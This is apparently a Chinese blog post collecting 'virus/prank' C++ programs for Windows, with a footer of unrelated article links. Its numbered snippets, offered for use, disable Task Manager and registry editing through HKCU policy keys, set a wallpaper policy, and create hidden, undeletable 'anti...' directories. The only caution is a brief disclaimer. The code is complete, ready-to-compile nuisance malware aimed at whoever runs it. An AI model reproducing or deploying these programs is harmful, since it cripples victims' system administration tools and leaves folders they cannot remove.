c++病毒/恶搞代码大全( 下 )

news/2025/2/12 3:47:39/

注:以下代码应勿用于非法(Dev-c++5.11实测可用)

警告:以下为危险/永久性程序,请慎重使用

8.

效果:禁用任务管理器

提示:可能被杀毒软件拦截

#include <stdio.h>
#include <windows.h> 
int main()
{HKEY hkey;DWORD value = 1;RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);RegSetValueEx(hkey, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));RegCloseKey(hkey);return 0;
}

 

9.

效果:禁用注册表

提示:可能被杀毒软件拦截

#include <stdio.h>
#include <windows.h> 
int main()
{HKEY hkey;DWORD value = 1;RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);RegSetValueEx(hkey, "DisableRegistryTools", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));RegCloseKey(hkey);return 0;
}

10.

效果:桌面壁纸

 

#include <stdio.h>
#include <windows.h> 
int main()
{DWORD value = 1;HKEY hkey;RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);RegSetValueEx(hkey, "Wallpaper", NULL, REG_SZ, (unsigned char *)"c://", 3);RegSetValueEx(hkey, "WallpaperStyle", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));return 0;
}

 

11.

效果:不可删除文件

解决方法:将51-52行换成52行

#include <stdio.h>
#include <shlobj.h>
#include <windows.h>// 添加不可删除文件
BOOL SetImmunity(char *FilePath,char *FileName)
{char file[2048] = { 0 };strncpy(file, FilePath, strlen(FilePath));strcat(file, FileName);BOOL bRet = CreateDirectory(file, NULL);if (bRet){strcat(file, "\\anti...\\");bRet = CreateDirectory(file, NULL);if (bRet){SetFileAttributes(file, FILE_ATTRIBUTE_HIDDEN);return TRUE;}}return FALSE;
}
void ClearImmunity(char *FilePath, char *FileName)
{char file[2048] = { 0 };strncpy(file, FilePath, strlen(FilePath));strcat(file, FileName);strcat(file, "\\anti...\\");RemoveDirectory(file);ZeroMemory(file, MAX_PATH);strncpy(file, FilePath, strlen(FilePath));strcat(file, FileName);RemoveDirectory(file);
}int main(int argc, char * argv[])
{char *Fuck[4] = { "你", "好", "世", "界" };int FuckLen = sizeof(Fuck) / sizeof(int);TCHAR Destop[MAX_PATH];SHGetSpecialFolderPath(NULL, Destop, CSIDL_DESKTOP, FALSE);  for (int x = 0; x < FuckLen; x++){SetImmunity("c://", Fuck[x]);//ClearImmunity("c://", Fuck[x]);}system("pause");return 0;
}


http://www.ppmy.cn/news/1032928.html

相关文章

界面组件DevExpress Reporting——支持图表本地化和可绑定属性

DevExpress Reporting是.NET Framework下功能完善的报表平台&#xff0c;它附带了易于使用的Visual Studio报表设计器和丰富的报表控件集&#xff0c;包括数据透视表、图表&#xff0c;因此您可以构建无与伦比、信息清晰的报表。 在最近的更新(v23.1)中&#xff0c;官方扩展了…

CMake教程6:调用lib、dll

之前我们学到了如何编写一个可执行程序和Library&#xff0c;在继续学习之前&#xff0c;需要解释下target&#xff0c;在cmake中我们可以给executable和library设置一个target名字&#xff0c;这样可以方便我们在后续对target进行更加详细的属性设置。 本节我们将学习如何在项…

如何安装SQL Server 2000(安装程序)For wincc

如何安装SQL Server 2000&#xff08;安装程序&#xff09; 安装SQL Server 2000 插入MicrosoftSQL Server™ CD-ROM驱动器中的2000光盘。如果光盘不自动运行&#xff0c;请双击光盘根目录中的autorun.exe。 选择“SQL Server 2000组件”。 如果运行的是Microsoft Windows9…

正在获取ip地址的原因

在当今的数字化时代&#xff0c;IP地址已经成为互联网通信中不可或缺的一部分。无论是在家庭网络还是企业网络中&#xff0c;IP地址都扮演着至关重要的角色&#xff0c;它能够唯一地标识每一台设备&#xff0c;使得它们可以在网络中进行有效地通信。然而&#xff0c;有时我们可…

Netty:ByteBuf类型转化

说明 io.netty.buffer.ByteBuf经常需要跟其它类型互相转化&#xff0c;例如ByteBuf类型作为Object类型函数参数传递&#xff0c;函数内部处理时将Object转换为ByteBuf。 代码示例 ByteBuf和Object类型互转 package com.thb;import io.netty.buffer.ByteBuf; import io.net…

Flink源码之StreamTask启动流程

每个ExecutionVertex分配Slot后&#xff0c;JobMaster就会向Slot所在的TaskExecutor提交RPC请求执行Task&#xff0c;接口为TaskExecutorGateway::submitTask CompletableFuture<Acknowledge> submitTask(TaskDeploymentDescriptor tdd, JobMasterId jobMasterId, RpcTi…

如何使用CSS实现一个下拉菜单?

聚沙成塔每天进步一点点 ⭐ 专栏简介⭐ 使用CSS实现下拉菜单⭐ HTML 结构⭐ CSS 样式⭐ 写在最后 ⭐ 专栏简介 前端入门之旅&#xff1a;探索Web开发的奇妙世界 记得点击上方或者右侧链接订阅本专栏哦 几何带你启航前端之旅 欢迎来到前端入门之旅&#xff01;这个专栏是为那些…

如何基于 ACK Serverless 快速部署 AI 推理服务

作者&#xff1a;元毅 随着 AI 浪潮的到来&#xff0c;各种 AI 应用层出不穷&#xff0c;众所周知 AI 应用对 GPU 资源强烈依赖&#xff0c;但 GPU 很昂贵&#xff0c;如何降低 GPU 资源使用成本成为用户首要问题。而 AI 与 Serverless 技术结合&#xff0c;完全可以达到按需使…